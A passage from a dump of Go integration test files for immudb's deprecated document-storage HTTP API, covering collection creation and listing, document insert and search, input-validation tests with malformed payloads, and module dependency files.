    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/httpclient\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCreateCollection(t *testing.T) {\n\tclient := getAuthorizedClient()\n\n\terr := createCollection(getStandarizedRandomString(), client)\n\trequire.NoError(t, err)\n}\n\nfunc TestGetCollection(t *testing.T) {\n\tclient := getAuthorizedClient()\n\n\tcollectionName := getStandarizedRandomString()\n\n\terr := createCollection(collectionName, client)\n\trequire.NoError(t, err)\n\n\tresponse, err := client.CollectionGetWithResponse(context.Background(), &httpclient.CollectionGetParams{\n\t\tName: &collectionName,\n\t})\n\trequire.NoError(t, err)\n\trequire.True(t, response.StatusCode() == 200)\n\trequire.True(t, *response.JSON200.Collection.Name == collectionName)\n}\n\nfunc TestListCollections(t *testing.T) {\n\tclient := getAuthorizedClient()\n\n\tcollectionName := getStandarizedRandomString()\n\n\terr := createCollection(collectionName, client)\n\trequire.NoError(t, err)\n\n\tresponse, _ := client.CollectionListWithResponse(context.Background(), httpclient.CollectionListJSONRequestBody{})\n\trequire.True(t, response.StatusCode() == 200)\n\n\tcollectionFound := false\n\n\tfor _, collection := range *response.JSON200.Collections {\n\t\tif *collection.Name == collectionName {\n\t\t\tcollectionFound = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\trequire.True(t, collectionFound)\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/create_collections_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/test/documents_storage_tests/documents_tests/actions\"\n\t\"github.com/gavv/httpexpect/v2\"\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/suite\"\n)\n\ntype CreateCollectionsTestSuite struct {\n\tsuite.Suite\n\texpect          *httpexpect.Expect\n\ttoken           string\n\tcollection_name string\n}\n\nfunc (s *CreateCollectionsTestSuite) SetupTest() {\n\ts.expect, s.token = actions.OpenSession(s.T())\n\ts.collection_name = uuid.New().String()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithName() {\n\tcollection := actions.CreateCollectionWithName(s.expect, s.token, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneIndexKey() {\n\tcollection := actions.CreateCollectionWithNameAndOneIndexKey(s.expect, s.token, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Keys().ContainsOnly(\"_id\", \"birth_date\")\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Value(\"_id\").Object().Value(\"type\").IsEqual(\"STRING\")\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Value(\"birth_date\").Object().Value(\"type\").IsEqual(\"STRING\")\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndMultipleIndexKeys() {\n\tcollection := actions.CreateCollectionWithNameAndMultipleIndexKeys(s.expect, s.token, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Keys().ContainsOnly(\"_id\", \"birth_date\", \"first_name\", \"last_name\", \"gender\", \"hire_date\")\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Value(\"_id\").Object().Value(\"type\").IsEqual(\"STRING\")\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Value(\"birth_date\").Object().Value(\"type\").IsEqual(\"STRING\")\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Value(\"first_name\").Object().Value(\"type\").IsEqual(\"STRING\")\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Value(\"last_name\").Object().Value(\"type\").IsEqual(\"STRING\")\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Value(\"gender\").Object().Value(\"type\").IsEqual(\"STRING\")\n\tcollection.Value(\"collection\").Object().Value(\"indexKeys\").Object().Value(\"hire_date\").Object().Value(\"type\").IsEqual(\"STRING\")\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameAndIndexKeys() {\n\tpayloadModel := `{}`\n\tvar payload map[string]interface{}\n\tjson.Unmarshal([]byte(payloadModel), &payload)\n\n\ts.expect.PUT(\"/collections/create\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).JSON().Object().NotEmpty()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithoutNameButWithIndexKeys() {\n\tpayloadModel := `{\n\t\t\"indexKeys\": {\n\t\t\t\"employees\": {\n\t\t\t  \"type\": \"INTEGER\"\n\t\t\t}\n\t\t}\n\t}`\n\tvar payload map[string]interface{}\n\tjson.Unmarshal([]byte(payloadModel), &payload)\n\tpayload[\"indexKeys\"] = map[string]interface{}{\n\t\t\"birth_date\": map[string]interface{}{\n\t\t\t\"type\": \"STRING\",\n\t\t},\n\t\t\"first_name\": map[string]interface{}{\n\t\t\t\"type\": \"STRING\",\n\t\t},\n\t\t\"last_name\": map[string]interface{}{\n\t\t\t\"type\": \"STRING\",\n\t\t},\n\t\t\"gender\": map[string]interface{}{\n\t\t\t\"type\": \"STRING\",\n\t\t},\n\t\t\"hire_date\": map[string]interface{}{\n\t\t\t\"type\": \"STRING\",\n\t\t},\n\t}\n\n\ts.expect.PUT(\"/collections/create\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).JSON().Object().NotEmpty()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithIntegerName() {\n\tcollection := actions.CreateCollectionWithIntegerName(s.expect, s.token, s.collection_name)\n\n\tcollection.Keys().ContainsOnly(\"collection\")\n\tcollection.Value(\"collection\").Object().Value(\"name\").IsEqual(s.collection_name)\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidIndexKey() {\n\tpayloadModel := `{\n\t\t\"name\": \"string\",\n\t\t\"indexKeys\": \"string\"\n \t}`\n\tvar payload map[string]interface{}\n\tjson.Unmarshal([]byte(payloadModel), &payload)\n\tpayload[\"name\"] = uuid.New().String()\n\tpayload[\"indexKeys\"] = \"birth_date\"\n\n\ts.expect.PUT(\"/collections/create\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusBadRequest).JSON().Object().NotEmpty()\n\n\ts.expect.GET(\"/collections/get\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tWithQuery(\"name\", payload[\"name\"]).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).\n\t\tJSON().Object().NotEmpty()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyIndexKey() {\n\tpayloadModel := `{\n\t\t\"name\": \"string\",\n\t\t\"indexKeys\": \"string\"\n \t}`\n\tvar payload map[string]interface{}\n\tjson.Unmarshal([]byte(payloadModel), &payload)\n\tpayload[\"name\"] = uuid.New().String()\n\tpayload[\"indexKeys\"] = \"\"\n\n\ts.expect.PUT(\"/collections/create\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusBadRequest).JSON().Object().NotEmpty()\n\n\ts.expect.GET(\"/collections/get\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tWithQuery(\"name\", payload[\"name\"]).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).\n\t\tJSON().Object().NotEmpty()\n}\n\nfunc (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() {\n\tpayloadModel := `{\n\t\t\"name\": \"string\"\n \t}`\n\tvar payload map[string]interface{}\n\tjson.Unmarshal([]byte(payloadModel), &payload)\n\tpayload[\"name\"] = uuid.New().String()\n\n\ts.expect.PUT(\"/collections/create\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusOK).JSON().Object().NotEmpty()\n\n\ts.expect.PUT(\"/collections/create\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusInternalServerError).JSON().Object().NotEmpty()\n\n\tpayloadModel = `{}`\n\tjson.Unmarshal([]byte(payloadModel), &payload)\n\n\tcollections := s.expect.POST(\"/collections/list\").\n\t\tWithHeader(\"grpc-metadata-sessionid\", s.token).\n\t\tWithJSON(payload).\n\t\tExpect().\n\t\tStatus(http.StatusOK).\n\t\tJSON().Object()\n\n\tcollectionsFound := collections.Value(\"collections\").Array().FindAll(func(index int, value *httpexpect.Value) bool {\n\t\treturn value.Object().Value(\"name\").Raw() == payload[\"name\"]\n\t})\n\n\tassert.Equal(s.T(), len(collectionsFound), 1)\n}\n\nfunc TestSuite(t *testing.T) {\n\tsuite.Run(t, new(CreateCollectionsTestSuite))\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/documents_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/httpclient\"\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCreateDocument(t *testing.T) {\n\tclient := getAuthorizedClient()\n\n\tuuid := uuid.New()\n\n\tdocumentToInsert := make(map[string]interface{})\n\tdocumentToInsert[\"uuid\"] = uuid.String()\n\tdocumentToInsert[\"name\"] = \"John\"\n\tdocumentToInsert[\"surname\"] = \"Doe\"\n\tdocumentToInsert[\"age\"] = 30\n\n\tcollectionName := getStandarizedRandomString()\n\n\terr := createCollection(collectionName, client)\n\trequire.NoError(t, err)\n\n\treq := httpclient.ModelDocumentInsertRequest{\n\t\tCollection: &collectionName,\n\t\tDocument:   &documentToInsert,\n\t}\n\tresponse, err := client.DocumentInsertWithResponse(context.Background(), req)\n\trequire.NoError(t, err)\n\trequire.True(t, response.StatusCode() == 200)\n\n\tdocumentId := response.JSON200.DocumentId\n\n\tfieldName := \"_id\"\n\toperator := httpclient.EQ\n\n\tquery := httpclient.ModelQuery{\n\t\tExpressions: &[]httpclient.ModelQueryExpression{\n\t\t\t{\n\t\t\t\tFieldComparisons: &[]httpclient.ModelFieldComparison{\n\t\t\t\t\t{\n\t\t\t\t\t\tField:    &fieldName,\n\t\t\t\t\t\tOperator: &operator,\n\t\t\t\t\t\tValue:    documentId,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tpage := int64(1)\n\tperPage := int64(1)\n\n\tsearchReq := httpclient.ModelDocumentSearchRequest{\n\t\tCollection: &collectionName,\n\t\tQuery:      &query,\n\t\tPage:       &page,\n\t\tPerPage:    &perPage,\n\t}\n\n\tsearchResponse, err := client.DocumentSearchWithResponse(context.Background(), searchReq)\n\trequire.NoError(t, err)\n\tfmt.Println(searchResponse.StatusCode())\n\trequire.True(t, searchResponse.StatusCode() == 200)\n\n\trevisions := *searchResponse.JSON200.Revisions\n\n\tfirstDocument := (*revisions[0].Document)\n\n\trequire.Equal(t, *documentId, firstDocument[\"_id\"])\n\trequire.Equal(t, float64(30), firstDocument[\"age\"])\n\trequire.Equal(t, \"John\", firstDocument[\"name\"])\n\trequire.Equal(t, \"Doe\", firstDocument[\"surname\"])\n\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/documents_test_utils.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"context\"\n\t\"net/http\"\n\t\"os\"\n\n\tauthorizationClient \"github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbauth\"\n\tdocumentsClient \"github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments\"\n\n\t\"github.com/google/uuid\"\n)\n\nvar baseURL = GetEnv(\"DOCUMENTS_TEST_BASEURL\", \"http://localhost:8091/api/v2\")\n\nfunc GetEnv(key, defaultValue string) string {\n\tvalue := os.Getenv(key)\n\tif len(value) == 0 {\n\t\treturn defaultValue\n\t}\n\treturn value\n}\nfunc GetStandarizedRandomString() string {\n\treturn uuid.New().String()\n}\n\nfunc getAuthorizationClient() *authorizationClient.ClientWithResponses {\n\tclient, err := authorizationClient.NewClientWithResponses(baseURL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn client\n}\n\nfunc getDocumentsClient(opts ...documentsClient.ClientOption) *documentsClient.ClientWithResponses {\n\tclient, err := documentsClient.NewClientWithResponses(baseURL, opts...)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn client\n}\n\nfunc getAuthorizedDocumentsClient() *documentsClient.ClientWithResponses {\n\tauthClient := getAuthorizationClient()\n\tdefaultLogin := \"immudb\"\n\tdefaultPassword := \"immudb\"\n\tdefaultDatabase := \"defaultdb\"\n\tresponse, err := authClient.AuthorizationServiceOpenSessionV2WithResponse(context.Background(), authorizationClient.AuthorizationServiceOpenSessionV2JSONRequestBody{\n\t\tUsername: &defaultLogin,\n\t\tPassword: &defaultPassword,\n\t\tDatabase: &defaultDatabase,\n\t})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tif response.StatusCode() != 200 {\n\t\tpanic(\"Could not login\")\n\t}\n\n\tclient := getDocumentsClient(documentsClient.WithRequestEditorFn(\n\t\tfunc(ctx context.Context, req *http.Request) error {\n\t\t\treq.Header.Set(\"grpc-metadata-sessionid\", *response.JSON200.Token)\n\t\t\treturn nil\n\t\t},\n\t))\n\n\treturn client\n}\n\nfunc CreateAndGetStandardTestCollection(client *documentsClient.ClientWithResponses) string {\n\tcollectionName := GetStandarizedRandomString()\n\tindexKeys := make(map[string]documentsClient.DocumentschemaIndexOption)\n\tprimaryKeys := make(map[string]documentsClient.DocumentschemaIndexOption)\n\tstringType := documentsClient.STRING\n\tprimaryKeys[\"_id\"] = documentsClient.DocumentschemaIndexOption{\n\t\tType: &stringType,\n\t}\n\treq := documentsClient.DocumentServiceCollectionCreateJSONRequestBody{\n\t\tName:        &collectionName,\n\t\tIndexKeys:   &indexKeys,\n\t\tPrimaryKeys: &primaryKeys,\n\t}\n\tresponse, err := client.DocumentServiceCollectionCreateWithResponse(context.Background(), req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tif response.StatusCode() != 200 {\n\t\tpanic(\"No 200 response\")\n\t}\n\treturn collectionName\n}\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/go.mod",
    "content": "module github.com/codenotary/immudb/test/documents_storage_tests\n\ngo 1.24.0\n\nrequire (\n\tgithub.com/antihax/optional v1.0.0\n\tgithub.com/google/uuid v1.3.0\n\tgithub.com/stretchr/testify v1.8.2\n\tgolang.org/x/oauth2 v0.27.0\n)\n\nrequire (\n\tgithub.com/ajg/form v1.5.1 // indirect\n\tgithub.com/andybalholm/brotli v1.0.4 // indirect\n\tgithub.com/fatih/color v1.13.0 // indirect\n\tgithub.com/fatih/structs v1.1.0 // indirect\n\tgithub.com/gobwas/glob v0.2.3 // indirect\n\tgithub.com/google/go-querystring v1.1.0 // indirect\n\tgithub.com/gorilla/websocket v1.4.2 // indirect\n\tgithub.com/imkira/go-interpol v1.1.0 // indirect\n\tgithub.com/klauspost/compress v1.15.0 // indirect\n\tgithub.com/mattn/go-colorable v0.1.13 // indirect\n\tgithub.com/mattn/go-isatty v0.0.17 // indirect\n\tgithub.com/mitchellh/go-wordwrap v1.0.1 // indirect\n\tgithub.com/sanity-io/litter v1.5.5 // indirect\n\tgithub.com/sergi/go-diff v1.0.0 // indirect\n\tgithub.com/valyala/bytebufferpool v1.0.0 // indirect\n\tgithub.com/valyala/fasthttp v1.34.0 // indirect\n\tgithub.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect\n\tgithub.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect\n\tgithub.com/xeipuuv/gojsonschema v1.2.0 // indirect\n\tgithub.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 // indirect\n\tgithub.com/yudai/gojsondiff v1.0.0 // indirect\n\tgithub.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 // indirect\n\tgolang.org/x/sys v0.41.0 // indirect\n\tmoul.io/http2curl/v2 v2.3.0 // indirect\n)\n\nrequire (\n\tgithub.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect\n\tgithub.com/davecgh/go-spew v1.1.1 // indirect\n\tgithub.com/deepmap/oapi-codegen v1.12.4 // indirect\n\tgithub.com/gavv/httpexpect/v2 v2.15.0\n\tgithub.com/golang/protobuf v1.5.2 // indirect\n\tgithub.com/pmezard/go-difflib v1.0.0 // indirect\n\tgolang.org/x/net v0.50.0 // indirect\n\tgoogle.golang.org/appengine v1.6.7 // indirect\n\tgoogle.golang.org/protobuf v1.36.6 // indirect\n\tgopkg.in/yaml.v3 v3.0.1 // indirect\n)\n"
  },
  {
    "path": "test/document_storage_tests/documents_tests_deprecated/go.sum",
    "content": "github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk=\ngithub.com/ajg/form v1.5.1 h1:t9c7v8JUKu/XxOGBU0yjNpaMloxGEJhUkqFRq0ibGeU=\ngithub.com/ajg/form v1.5.1/go.mod h1:uL1WgH+h2mgNtvBq0339dVnzXdBETtL2LeUXaIv25UY=\ngithub.com/andybalholm/brotli v1.0.4 h1:V7DdXeJtZscaqfNuAdSRuRFzuiKlHSC/Zh3zl9qY3JY=\ngithub.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig=\ngithub.com/antihax/optional v1.0.0 h1:xK2lYat7ZLaVVcIuj82J8kIro4V6kDe0AUDFboUCwcg=\ngithub.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=\ngithub.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ=\ngithub.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk=\ngithub.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w=\ngithub.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/deepmap/oapi-codegen v1.12.4 h1:pPmn6qI9MuOtCz82WY2Xaw46EQjgvxednXXrP7g5Q2s=\ngithub.com/deepmap/oapi-codegen v1.12.4/go.mod h1:3lgHGMu6myQ2vqbbTXH2H1o4eXFTGnFiDaOaKKl5yas=\ngithub.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=\ngithub.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=\ngithub.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo=\ngithub.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M=\ngithub.com/gavv/httpexpect/v2 v2.15.0 h1:CCnFk9of4l4ijUhnMxyoEpJsIIBKcuWIFLMwwGTZxNs=\ngithub.com/gavv/httpexpect/v2 v2.15.0/go.mod h1:7myOP3A3VyS4+qnA4cm8DAad8zMN+7zxDB80W9f8yIc=\ngithub.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y=\ngithub.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=\ngithub.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=\ngithub.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=\ngithub.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=\ngithub.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=\ngithub.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=\ngithub.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=\ngithub.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=\ngithub.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=\ngithub.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=\ngithub.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=\ngithub.com/imkira/go-interpol v1.1.0 h1:KIiKr0VSG2CUW1hl1jpiyuzuJeKUUpC8iM1AIE7N1Vk=\ngithub.com/imkira/go-interpol v1.1.0/go.mod h1:z0h2/2T3XF8kyEPpRgJ3kmNv+C43p+I/CoI+jC3w2iA=\ngithub.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE=\ngithub.com/klauspost/compress v1.15.0 h1:xqfchp4whNFxn5A4XFyyYtitiWI8Hy5EW59jEwcyL6U=\ngithub.com/klauspost/compress v1.15.0/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk=\ngithub.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=\ngithub.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=\ngithub.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=\ngithub.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=\ngithub.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=\ngithub.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=\ngithub.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng=\ngithub.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=\ngithub.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0=\ngithub.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0=\ngithub.com/pkg/diff v0.0.0-20200914180035-5b29258ca4f7/go.mod h1:zO8QMzTeZd5cpnIkz/Gn6iK0jDfGicM1nynOkkPIl28=\ngithub.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/sanity-io/litter v1.5.5 h1:iE+sBxPBzoK6uaEP5Lt3fHNgpKcHXc/A2HGETy0uJQo=\ngithub.com/sanity-io/litter v1.5.5/go.mod h1:9gzJgR2i4ZpjZHsKvUXIRQVk7P+yM3e+jAF7bU2UI5U=\ngithub.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ=\ngithub.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=\ngithub.com/spkg/bom v0.0.0-20160624110644-59b7046e48ad/go.mod h1:qLr4V1qq6nMqFKkMo8ZTx3f+BZEkzsRUY10Xsm2mwU0=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=\ngithub.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=\ngithub.com/stretchr/testify v0.0.0-20161117074351-18a02ba4a312/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=\ngithub.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=\ngithub.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=\ngithub.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=\ngithub.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=\ngithub.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=\ngithub.com/tailscale/depaware 